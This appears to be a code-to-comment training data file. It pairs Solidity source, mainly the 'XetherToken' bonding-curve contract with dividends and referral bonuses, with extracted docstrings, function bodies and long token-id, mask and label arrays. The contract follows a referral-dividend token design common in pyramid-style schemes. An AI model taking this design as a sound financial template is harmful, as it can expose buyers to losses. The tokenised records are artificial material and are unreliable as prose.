* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
* Originally based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract ERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return A uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
/**
* @dev Transfer token to a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
/**
* @dev Transfer tokens from one address to another.
* Note that while this function emits an Approval event, this is not required as per the specification,
* and other compliant implementations may not emit the event.
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_transfer(from, to, value);
_approve(from, msg.sender, _allowed[from][msg.sender].sub(value));
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when _allowed[msg.sender][spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].add(addedValue));
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when _allowed[msg.sender][spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].sub(subtractedValue));
return true;
}
/**
* @dev Transfer token for a specified addresses
* @param from The address to transfer from.
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
/**
* @dev Internal function that mints an amount of the token and assigns it to
* an account. This encapsulates the modification of balances such that the
* proper events are emitted.
* @param account The account that will receive the created tokens.
* @param value The amount that will be created.
*/
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account.
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
/**
* @dev Approve an address to spend another addresses' tokens.
* @param owner The address that owns the tokens.
* @param spender The address that will spend the tokens.
* @param value The number of tokens that can be spent.
*/
function _approve(address owner, address spender, uint256 value) internal {
require(spender != address(0));
require(owner != address(0));
_allowed[owner][spender] = value;
emit Approval(owner, spender, value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account, deducting from the sender's allowance for said account. Uses the
* internal burn function.
* Emits an Approval event (reflecting the reduced allowance).
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burnFrom(address account, uint256 value) internal {
_burn(account, value);
_approve(account, msg.sender, _allowed[account][msg.sender].sub(value));
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract ERC20Burnable is ERC20 {
/**
* @dev Burns a specific amount of tokens.
* @param value The amount of token to be burned.
*/
function burn(uint256 value) public {
_burn(msg.sender, value);
}
/**
* @dev Burns a specific amount of tokens from the target address and decrements allowance
* @param from address The address which you want to send tokens from
* @param value uint256 The amount of token to be burned
*/
function burnFrom(address from, uint256 value) public {
_burnFrom(from, value);
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
/**
* @return the address of the owner.
*/
function owner() public view returns(address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner());
_;
}
/**
* @return true if `msg.sender` is the owner of the contract.
*/
function isOwner() public view returns(bool) {
return msg.sender == _owner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library Percent {
// Solidity automatically throws when dividing by 0
struct percent {
uint num;
uint den;
}
// storage
function mul(percent storage p, uint a) internal view returns (uint) {
if (a == 0) {
return 0;
}
return a*p.num/p.den;
}
function div(percent storage p, uint a) internal view returns (uint) {
return a/p.num*p.den;
}
function sub(percent storage p, uint a) internal view returns (uint) {
uint b = mul(p, a);
if (b >= a) {
return 0;
}
return a - b;
}
function add(percent storage p, uint a) internal view returns (uint) {
return a + mul(p, a);
}
function toMemory(percent storage p) internal view returns (Percent.percent memory) {
return Percent.percent(p.num, p.den);
}
// memory
function mmul(percent memory p, uint a) internal pure returns (uint) {
if (a == 0) {
return 0;
}
return a*p.num/p.den;
}
function mdiv(percent memory p, uint a) internal pure returns (uint) {
return a/p.num*p.den;
}
function msub(percent memory p, uint a) internal pure returns (uint) {
uint b = mmul(p, a);
if (b >= a) {
return 0;
}
return a - b;
}
function madd(percent memory p, uint a) internal pure returns (uint) {
return a + mmul(p, a);
}
}
/**
* @title XetherToken is a basic ERC20 Token
*/
contract XetherToken is ERC20Detailed("XetherEcosystemToken", "XEET", 18), ERC20Burnable, Ownable {
/**
* Modifiers
*/
modifier onlyParticipant {
require(showMyTokens() > 0);
_;
}
modifier hasDividends {
require(showMyDividends(true) > 0);
_;
}
/**
* Events
*/
event onTokenBuy(
address indexed customerAddress,
uint256 incomeEth,
uint256 tokensCreated,
address indexed ref,
uint timestamp,
uint256 startPrice,
uint256 newPrice
);
event onTokenSell(
address indexed customerAddress,
uint256 tokensBurned,
uint256 earnedEth,
uint timestamp,
uint256 startPrice,
uint256 newPrice
);
event onReinvestment(
address indexed customerAddress,
uint256 reinvestEth,
uint256 tokensCreated
);
event onWithdraw(
address indexed customerAddress,
uint256 withdrawEth
);
event Transfer(
address indexed from,
address indexed to,
uint256 tokens
);
using Percent for Percent.percent;
using SafeMath for *;
/**
* @dev percents
*/
Percent.percent private inBonus_p = Percent.percent(10, 100); // 10/100 *100% = 10%
Percent.percent private outBonus_p = Percent.percent(4, 100); // 4/100 *100% = 4%
Percent.percent private refBonus_p = Percent.percent(30, 100); // 30/100 *100% = 30%
Percent.percent private transferBonus_p = Percent.percent(1, 100); // 1/100 *100% = 1%
/**
* @dev initial variables
*/
address constant DUMMY_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
address public marketingAddress = DUMMY_ADDRESS;
uint256 constant internal tokenPriceInitial = 0.00005 ether;
uint256 constant internal tokenPriceIncremental = 0.0000000001 ether;
uint256 internal profitPerToken = 0;
uint256 internal decimalShift = 1e18;
uint256 internal currentTotalDividends = 0;
mapping(address => int256) internal payoutsTo;
mapping(address => uint256) internal refBalance;
mapping(address => address) internal referrals;
uint256 public actualTokenPrice = tokenPriceInitial;
uint256 public refMinBalanceReq = 50e18;
/**
* @dev Event to notify if transfer successful or failed
* after account approval verified
*/
event TransferSuccessful(address indexed from_, address indexed to_, uint256 amount_);
event TransferFailed(address indexed from_, address indexed to_, uint256 amount_);
event debug(uint256 div1, uint256 div2);
/**
* @dev fallback function, buy tokens
*/
function() payable external {
buyTokens(msg.sender, msg.value, referrals[msg.sender]);
}
/**
* Public
*/
function setMarketingAddress(address newMarketingAddress) external onlyOwner {
marketingAddress = newMarketingAddress;
}
function ecosystemDividends() payable external {
uint dividends = msg.value;
uint256 toMarketingAmount = inBonus_p.mul(dividends);
uint256 toShareAmount = SafeMath.sub(dividends, toMarketingAmount);
buyTokens(marketingAddress, toMarketingAmount, address(0));
profitPerToken = profitPerToken.add(toShareAmount.mul(decimalShift).div(totalSupply()));
}
/**
* @dev main function to get/buy tokens
* @param _ref address of referal
*/
function buy(address _ref) public payable returns (uint256) {
referrals[msg.sender] = _ref;
buyTokens(msg.sender, msg.value, _ref);
}
/**
* @dev main function to sell tokens
* @param _inRawTokens address of referal
*/
function sell(uint256 _inRawTokens) onlyParticipant public {
sellTokens(_inRawTokens);
}
/**
* @dev function to withdraw balance
*/
function withdraw() hasDividends public {
address payable _customerAddress = msg.sender;
uint256 _dividends = showMyDividends(false);
payoutsTo[_customerAddress] += (int256) (_dividends);
_dividends = _dividends.add(refBalance[_customerAddress]);
refBalance[_customerAddress] = 0;
_customerAddress.transfer(_dividends);
emit onWithdraw(_customerAddress, _dividends);
}
/**
* @dev function to withdraw balance
*/
function withdraw(address customerAddress) internal {
uint256 _dividends = dividendsOf(customerAddress);
payoutsTo[customerAddress] += (int256) (_dividends);
_dividends = _dividends.add(refBalance[customerAddress]);
refBalance[customerAddress] = 0;
if (_dividends > 0) {
address payable _customerAddress = address(uint160(customerAddress));
_customerAddress.transfer(_dividends);
emit onWithdraw(customerAddress, _dividends);
}
}
function transfer(address to, uint256 value) public returns (bool) {
address _customerAddress = msg.sender;
require(value <= balanceOf(_customerAddress));
require(to != address(0));
if (showMyDividends(true) > 0) {
withdraw();
}
uint256 _tokenFee = transferBonus_p.mul(value);
uint256 _taxedTokens = value.sub(_tokenFee);
uint256 _dividends = tokensToEth(_tokenFee);
_transfer(_customerAddress, to, _taxedTokens);
_burn(_customerAddress, _tokenFee);
payoutsTo[_customerAddress] -= (int256) (profitPerToken.mul(value).div(decimalShift));
payoutsTo[to] += (int256) (profitPerToken.mul(_taxedTokens).div(decimalShift));
profitPerToken = profitPerToken.add(_dividends.mul(decimalShift).div(totalSupply()));
emit TransferSuccessful(_customerAddress, to, value);
return true;
}
function transferFrom(address from, address to, uint256 value)
public
returns (bool)
{
uint256 _tokenFee = transferBonus_p.mul(value);
uint256 _taxedTokens = value.sub(_tokenFee);
uint256 _dividends = tokensToEth(_tokenFee);
withdraw(from);
ERC20.transferFrom(from, to, _taxedTokens);
_burn(from, _tokenFee);
payoutsTo[from] -= (int256) (profitPerToken.mul(value).div(decimalShift));
payoutsTo[to] += (int256) (profitPerToken.mul(_taxedTokens).div(decimalShift));
profitPerToken = profitPerToken.add(_dividends.mul(decimalShift).div(totalSupply()));
emit TransferSuccessful(from, to, value);
return true;
}
/**
* @dev function to sell all tokens and withdraw balance
*/
function exit() public {
address _customerAddress = msg.sender;
uint256 _tokens = balanceOf(_customerAddress);
if (_tokens > 0) sell(_tokens);
withdraw();
}
/**
* @dev function to reinvest of dividends
*/
function reinvest() onlyParticipant public {
uint256 _dividends = showMyDividends(false);
address _customerAddress = msg.sender;
payoutsTo[_customerAddress] += (int256) (_dividends);
_dividends = _dividends.add(refBalance[_customerAddress]);
refBalance[_customerAddress] = 0;
uint256 _tokens = buyTokens(_customerAddress, _dividends, address(0));
emit onReinvestment(_customerAddress, _dividends, _tokens);
}
/**
* @dev show actual tokens price
*/
function getActualTokenPrice() public view returns (uint256) {
return actualTokenPrice;
}
/**
* @dev show owner dividents
* @param _includeReferralBonus true/false
*/
function showMyDividends(bool _includeReferralBonus) public view returns (uint256) {
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress).add(refBalance[_customerAddress]) : dividendsOf(_customerAddress) ;
}
/**
* @dev show owner tokens
*/
function showMyTokens() public view returns (uint256) {
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
/**
* @dev show address dividents
* @param _customerAddress address to show dividends for
*/
function dividendsOf(address _customerAddress) public view returns (uint256) {
return (uint256) ((int256) (profitPerToken.mul(balanceOf(_customerAddress)).div(decimalShift)) - payoutsTo[_customerAddress]);
}
/**
* @dev function to show ether/tokens ratio
* @param _eth eth amount
*/
function showEthToTokens(uint256 _eth) public view returns (uint256 _tokensReceived, uint256 _newTokenPrice) {
uint256 b = actualTokenPrice.mul(2).sub(tokenPriceIncremental);
uint256 c = _eth.mul(2);
uint256 d = SafeMath.add(b**2, tokenPriceIncremental.mul(4).mul(c));
// d = b**2 + 4 * a * c;
// (-b + Math.sqrt(d)) / (2*a)
_tokensReceived = SafeMath.div(sqrt(d).sub(b).mul(decimalShift), tokenPriceIncremental.mul(2));
_newTokenPrice = actualTokenPrice.add(tokenPriceIncremental.mul(_tokensReceived).div(decimalShift));
}
/**
* @dev function to show tokens/ether ratio
* @param _tokens tokens amount
*/
function showTokensToEth(uint256 _tokens) public view returns (uint256 _eth, uint256 _newTokenPrice) {
// (2 * a1 - delta * (n - 1)) / 2 * n
_eth = SafeMath.sub(actualTokenPrice.mul(2), tokenPriceIncremental.mul(_tokens.sub(1e18)).div(decimalShift)).div(2).mul(_tokens).div(decimalShift);
_newTokenPrice = actualTokenPrice.sub(tokenPriceIncremental.mul(_tokens).div(decimalShift));
}
function sqrt(uint x) pure private returns (uint y) {
uint z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
/**
* Internals
*/
/**
* @dev function to buy tokens, calculate bonus, dividends, fees
* @param _inRawEth eth amount
* @param _ref address of referal
*/
function buyTokens(address customerAddress, uint256 _inRawEth, address _ref) internal returns (uint256) {
uint256 _dividends = inBonus_p.mul(_inRawEth);
uint256 _inEth = _inRawEth.sub(_dividends);
uint256 _tokens = 0;
uint256 startPrice = actualTokenPrice;
if (_ref != address(0) && _ref != customerAddress && balanceOf(_ref) >= refMinBalanceReq) {
uint256 _refBonus = refBonus_p.mul(_dividends);
_dividends = _dividends.sub(_refBonus);
refBalance[_ref] = refBalance[_ref].add(_refBonus);
}
uint256 _totalTokensSupply = totalSupply();
if (_totalTokensSupply > 0) {
_tokens = ethToTokens(_inEth);
require(_tokens > 0);
profitPerToken = profitPerToken.add(_dividends.mul(decimalShift).div(_totalTokensSupply));
_totalTokensSupply = _totalTokensSupply.add(_tokens);
} else {
// initial protect
if (!isOwner()) {
address(uint160(owner())).transfer(msg.value);
return 0;
}
_totalTokensSupply = ethToTokens(_inRawEth);
_tokens = _totalTokensSupply;
}
_mint(customerAddress, _tokens);
payoutsTo[customerAddress] += (int256) (profitPerToken.mul(_tokens).div(decimalShift));
emit onTokenBuy(customerAddress, _inEth, _tokens, _ref, now, startPrice, actualTokenPrice);
return _tokens;
}
/**
* @dev function to sell tokens, calculate dividends, fees
* @param _inRawTokens eth amount
*/
function sellTokens(uint256 _inRawTokens) internal returns (uint256) {
address _customerAddress = msg.sender;
require(_inRawTokens <= balanceOf(_customerAddress));
uint256 _tokens = _inRawTokens;
uint256 _eth = 0;
uint256 startPrice = actualTokenPrice;
_eth = tokensToEth(_tokens);
_burn(_customerAddress, _tokens);
uint256 _dividends = outBonus_p.mul(_eth);
uint256 _ethTaxed = _eth.sub(_dividends);
int256 unlockPayout = (int256) (_ethTaxed.add((profitPerToken.mul(_tokens)).div(decimalShift)));
payoutsTo[_customerAddress] -= unlockPayout;
profitPerToken = profitPerToken.add(_dividends.mul(decimalShift).div(totalSupply()));
emit onTokenSell(_customerAddress, _tokens, _eth, now, startPrice, actualTokenPrice);
}
/**
* @dev function to calculate ether/tokens ratio
* @param _eth eth amount
*/
function ethToTokens(uint256 _eth) internal returns (uint256 _tokensReceived) {
uint256 _newTokenPrice;
(_tokensReceived, _newTokenPrice) = showEthToTokens(_eth);
actualTokenPrice = _newTokenPrice;
}
/**
* @dev function to calculate tokens/ether ratio
* @param _tokens tokens amount
*/
function tokensToEth(uint256 _tokens) internal returns (uint256 _eth) {
uint256 _newTokenPrice;
(_eth, _newTokenPrice) = showTokensToEth(_tokens);
actualTokenPrice = _newTokenPrice;
}
}
|
* @dev Gets the balance of the specified address. @param owner The address to query the balance of. @return A uint256 representing the amount owned by the passed address./
|
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
| 6,452,458 |
[
1,
3002,
326,
11013,
434,
326,
1269,
1758,
18,
225,
3410,
1021,
1758,
358,
843,
326,
11013,
434,
18,
327,
432,
2254,
5034,
5123,
326,
3844,
16199,
635,
326,
2275,
1758,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
225,
445,
11013,
951,
12,
2867,
3410,
13,
1071,
1476,
1135,
261,
11890,
5034,
13,
288,
203,
1377,
327,
389,
70,
26488,
63,
8443,
15533,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0x54F2F2146904d536d05Ce81C3B4daEf1a843d3F7/sources/coin.sol
|
Create a uniswap pair for this new token set the rest of the contract variablesexclude owner and this contract from fee
|
constructor () {
_rOwned[owner()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router = _uniswapV2Router;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0), owner(), _tTotal);
}
| 16,448,002 |
[
1,
1684,
279,
640,
291,
91,
438,
3082,
364,
333,
394,
1147,
444,
326,
3127,
434,
326,
6835,
3152,
10157,
3410,
471,
333,
6835,
628,
14036,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
3885,
1832,
288,
203,
3639,
389,
86,
5460,
329,
63,
8443,
1435,
65,
273,
389,
86,
5269,
31,
203,
3639,
203,
203,
3639,
467,
984,
291,
91,
438,
58,
22,
8259,
3103,
389,
318,
291,
91,
438,
58,
22,
8259,
273,
467,
984,
291,
91,
438,
58,
22,
8259,
3103,
12,
20,
92,
27,
69,
26520,
72,
4313,
5082,
38,
24,
71,
42,
25,
5520,
27,
5520,
72,
42,
22,
39,
25,
72,
37,
7358,
24,
71,
26,
6162,
42,
3247,
5482,
40,
1769,
203,
3639,
640,
291,
91,
438,
58,
22,
4154,
273,
467,
984,
291,
91,
438,
58,
22,
1733,
24899,
318,
291,
91,
438,
58,
22,
8259,
18,
6848,
10756,
203,
5411,
263,
2640,
4154,
12,
2867,
12,
2211,
3631,
389,
318,
291,
91,
438,
58,
22,
8259,
18,
59,
1584,
44,
10663,
203,
203,
3639,
640,
291,
91,
438,
58,
22,
8259,
273,
389,
318,
291,
91,
438,
58,
22,
8259,
31,
203,
3639,
203,
3639,
389,
291,
16461,
1265,
14667,
63,
8443,
1435,
65,
273,
638,
31,
203,
3639,
389,
291,
16461,
1265,
14667,
63,
2867,
12,
2211,
25887,
273,
638,
31,
203,
3639,
203,
3639,
3626,
12279,
12,
2867,
12,
20,
3631,
3410,
9334,
389,
88,
5269,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/1/0xd57d5d1dd984C6d6Fe074C070A7EFf9a69fd3667/sources/contracts/Phase4_Playground-0.sol
|
reset special token pointers
|
function resetSpecialTokenPointers(uint256 _tokenId) external onlyOwner
{
delete TokenToSpecialPointersMap[_tokenId];
}
| 2,820,259 |
[
1,
6208,
4582,
1147,
13857,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
2715,
12193,
1345,
27452,
12,
11890,
5034,
389,
2316,
548,
13,
3903,
1338,
5541,
203,
565,
288,
203,
3639,
1430,
3155,
774,
12193,
27452,
863,
63,
67,
2316,
548,
15533,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
